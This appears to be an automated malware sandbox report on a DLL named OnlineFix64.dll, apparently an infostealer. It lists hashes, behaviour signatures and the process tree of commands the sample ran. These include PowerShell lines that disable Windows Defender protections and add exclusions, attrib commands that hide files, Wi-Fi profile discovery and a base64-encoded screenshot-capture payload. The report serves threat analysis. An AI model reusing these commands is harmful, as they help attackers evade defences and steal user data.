Analysis

  • max time kernel
    3s
  • max time network
    7s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241007-en
  • resource tags

    arch:x64arch:x86image:win11-20241007-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    11-01-2025 18:24

General

  • Target

    OnlineFix64.dll

  • Size

    9.8MB

  • MD5

    4e8de2b87675a0cbbf6786bcfafd74b1

  • SHA1

    72dc1e2b659d083fd6786bc16c7c40f2141ac3f9

  • SHA256

    c0186ec92c9484850928261079e1822c988194e712e368751a6ddbcddced1232

  • SHA512

    20f1889242f23749d907a934b8b3f5b38c7b9f6d1ba61a3d47313a912535d85428223e83c61755044ce9303b98fd4d89026d7a9067e71f5134668cac99c21fab

  • SSDEEP

    98304:wbLXMpZITlwICT6ZtTXwMI5j2Uhv/rEDxcZDVZ4R6Pr:wbkIZwIhTNI5j2uvgGamr

Malware Config

Signatures

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 2 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Drops file in System32 directory 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 6 IoCs
  • Suspicious behavior: EnumeratesProcesses 10 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Windows\system32\rundll32.exe
    rundll32.exe C:\Users\Admin\AppData\Local\Temp\OnlineFix64.dll,#1
    1⤵
    • Blocklisted process makes network request
    • Drops file in Drivers directory
    • Adds Run key to start application
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2564
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Windows\system32\rundll32.exe
      2⤵
      • Drops file in System32 directory
      • Views/modifies file attributes
      PID:436
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command Add-MpPreference -ExclusionPath C:\Windows\system32\rundll32.exe
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4920
    • C:\Windows\System32\Wbem\wmic.exe
      wmic os get Caption
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:1968
    • C:\Windows\system32\attrib.exe
      attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
      2⤵
      • Views/modifies file attributes
      PID:2100
    • C:\Windows\System32\Wbem\wmic.exe
      wmic cpu get Name
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3044
    • C:\Windows\System32\Wbem\wmic.exe
      wmic path win32_VideoController get name
      2⤵
      • Detects videocard installed
      PID:244
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      PID:4420
    • C:\Windows\System32\Wbem\wmic.exe
      wmic csproduct get UUID
      2⤵
        PID:1168
      • C:\Windows\system32\attrib.exe
        attrib -r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Drops file in Drivers directory
        • Views/modifies file attributes
        PID:3204
      • C:\Windows\system32\attrib.exe
        attrib +r C:\Windows\System32\drivers\etc\hosts
        2⤵
        • Views/modifies file attributes
        PID:2972
      • C:\Windows\system32\netsh.exe
        netsh wlan show profiles
        2⤵
        • System Network Configuration Discovery: Wi-Fi Discovery
        PID:2144
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        2⤵
          PID:1048
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\0hpaha11\0hpaha11.cmdline"
            3⤵
              PID:1972
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES8201.tmp" "c:\Users\Admin\AppData\Local\Temp\0hpaha11\CSC62F12CC17E6C488CB70943CDD40C4B2.TMP"
                4⤵
                  PID:3936

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            627073ee3ca9676911bee35548eff2b8

            SHA1

            4c4b68c65e2cab9864b51167d710aa29ebdcff2e

            SHA256

            85b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c

            SHA512

            3c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            2e8eb51096d6f6781456fef7df731d97

            SHA1

            ec2aaf851a618fb43c3d040a13a71997c25bda43

            SHA256

            96bfd9dd5883329927fe8c08b8956355a1a6ceb30ceeb5d4252b346df32bc864

            SHA512

            0a73dc9a49f92d9dd556c2ca2e36761890b3538f355ee1f013e7cf648d8c4d065f28046cd4a167db3dea304d1fbcbcea68d11ce6e12a3f20f8b6c018a60422d2

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            d0c19866ed372c0ad1493bc700a4f665

            SHA1

            8deff01b187d761334563e0faaad767bc26b9477

            SHA256

            92097d4c09a66ed6c057e968122d723605c4dd9cd39d7ea8c610fa5551c22d79

            SHA512

            02e077ff944e9489dc61a3e905546b1b2a66bc1b5a468c0322bcbc9e491d5cf7e9a7ab1729cf3ed0c9f3cb091ecaa63f6e4b35c138eb5110578405060a080548

          • C:\Users\Admin\AppData\Local\Temp\0hpaha11\0hpaha11.dll

            Filesize

            4KB

            MD5

            54ed10711e7d408994b17d1e8b7686a6

            SHA1

            b4dc6d1d03e2801b8968ddeb4e332d54ac36af9e

            SHA256

            c7b0072884651fdb0ba31f568571ac5e467a7f0f2beaf90f7ab9849744082705

            SHA512

            2b9862f1df863c11ecda207dcfa735c13e8672cde8fe6401eff598d33bbf268395c4d6c84bbaa92dc828227284c3fb6468b6ff1f0601847889345c8635b491a5

          • C:\Users\Admin\AppData\Local\Temp\E84oc0oLzI\Display (1).png

            Filesize

            408KB

            MD5

            3aa583f64fa9a63abe175697bb2178f3

            SHA1

            d1ee89bcf097229f6c187544c0a0627a63fdfec5

            SHA256

            e5677fafa2ac6d7340fd74a2aa70e8d3f6af39e3d72511f3552356ab73d6c34c

            SHA512

            9fd6420999fc11dd22e245134f6a270f5ef6f9685c164f7eab8bbe1b27eb80d45e0e88af12ce9fff6951fd2415ce4b1f48db6a4ba7a141c88b7dcf5a92bdce72

          • C:\Users\Admin\AppData\Local\Temp\RES8201.tmp

            Filesize

            1KB

            MD5

            29152a1f3988affa7fbac70c485331f8

            SHA1

            331fa82e3cab797aeb9de27224b55c60187222a8

            SHA256

            e8c56863d54ffcc1dca806e91028daac03f448a39ad3eb82b0c1be6283c502a5

            SHA512

            60b7dc4b91fe82b851c1d85001ebd10852f8fc45e02c4992bbf9447ae2157221a7b86232d418f698502ef9d3690256a527c60e191bcaf7a0772a605e8d22eddc

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qslspfy1.kqu.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe

            Filesize

            72KB

            MD5

            10f08638e7c04d15ba4b4a740087a826

            SHA1

            07888e33210b015c0a206c60826fd40d5c3b5508

            SHA256

            60517f898bfac156cd298fd0a45f2e06cecee232a54667213458b99dc8d80de7

            SHA512

            5c53d3ea3b622f2e1746411642966794e733be1859df085894c075d5bf77215aca6b707913b1d6dd6af76aa81860fa163cd847af215fb805e16ffaf2fc91836a

          • C:\Windows\System32\drivers\etc\hosts

            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

          • \??\c:\Users\Admin\AppData\Local\Temp\0hpaha11\0hpaha11.0.cs

            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

          • \??\c:\Users\Admin\AppData\Local\Temp\0hpaha11\0hpaha11.cmdline

            Filesize

            607B

            MD5

            886ebc95b5bef8f7404c77f3e9c7f33f

            SHA1

            ff3c5507a863ece36afe31d913334d9f5155b5ba

            SHA256

            61a9bcf0e3a199f6266eb92d24b88f4065e31280a37255c7e82b8e696b6b2a79

            SHA512

            57dbb33014b9e0067e3439f96819088e0070cfbcc5af126d3bb56340df7e9cff42c5fbe1574fbdad97b5255905118c3f6a3a50b8076821e1342d84a235bef21b

          • \??\c:\Users\Admin\AppData\Local\Temp\0hpaha11\CSC62F12CC17E6C488CB70943CDD40C4B2.TMP

            Filesize

            652B

            MD5

            ff8246b7e19d3544abfc4a4f539386ef

            SHA1

            db03d00ed2d8972434cf6e80c4f46f93c50d3dc0

            SHA256

            b0e2007e693dbc909c13945290f3312b69b610323c3d66c99ebcdf79e39764a3

            SHA512

            56ed9893387f2c56b7c840b3c6a7fdc3c7beabaca3faab07c5daa825d565bdc5d081f4cdb87e1ce4eef72f71fd5c633a616e2500f0d0905a4b38fe4bc0791ecc

          • memory/1048-69-0x00000263F3360000-0x00000263F3368000-memory.dmp

            Filesize

            32KB

          • memory/4920-28-0x00007FF9F8510000-0x00007FF9F8FD2000-memory.dmp

            Filesize

            10.8MB

          • memory/4920-20-0x00007FF9F8510000-0x00007FF9F8FD2000-memory.dmp

            Filesize

            10.8MB

          • memory/4920-11-0x000001E074DB0000-0x000001E074DD2000-memory.dmp

            Filesize

            136KB

          • memory/4920-0-0x00007FF9F8513000-0x00007FF9F8515000-memory.dmp

            Filesize

            8KB

          • memory/4920-5-0x00007FF9F8510000-0x00007FF9F8FD2000-memory.dmp

            Filesize

            10.8MB

          • memory/4920-4-0x00007FF9F8510000-0x00007FF9F8FD2000-memory.dmp

            Filesize

            10.8MB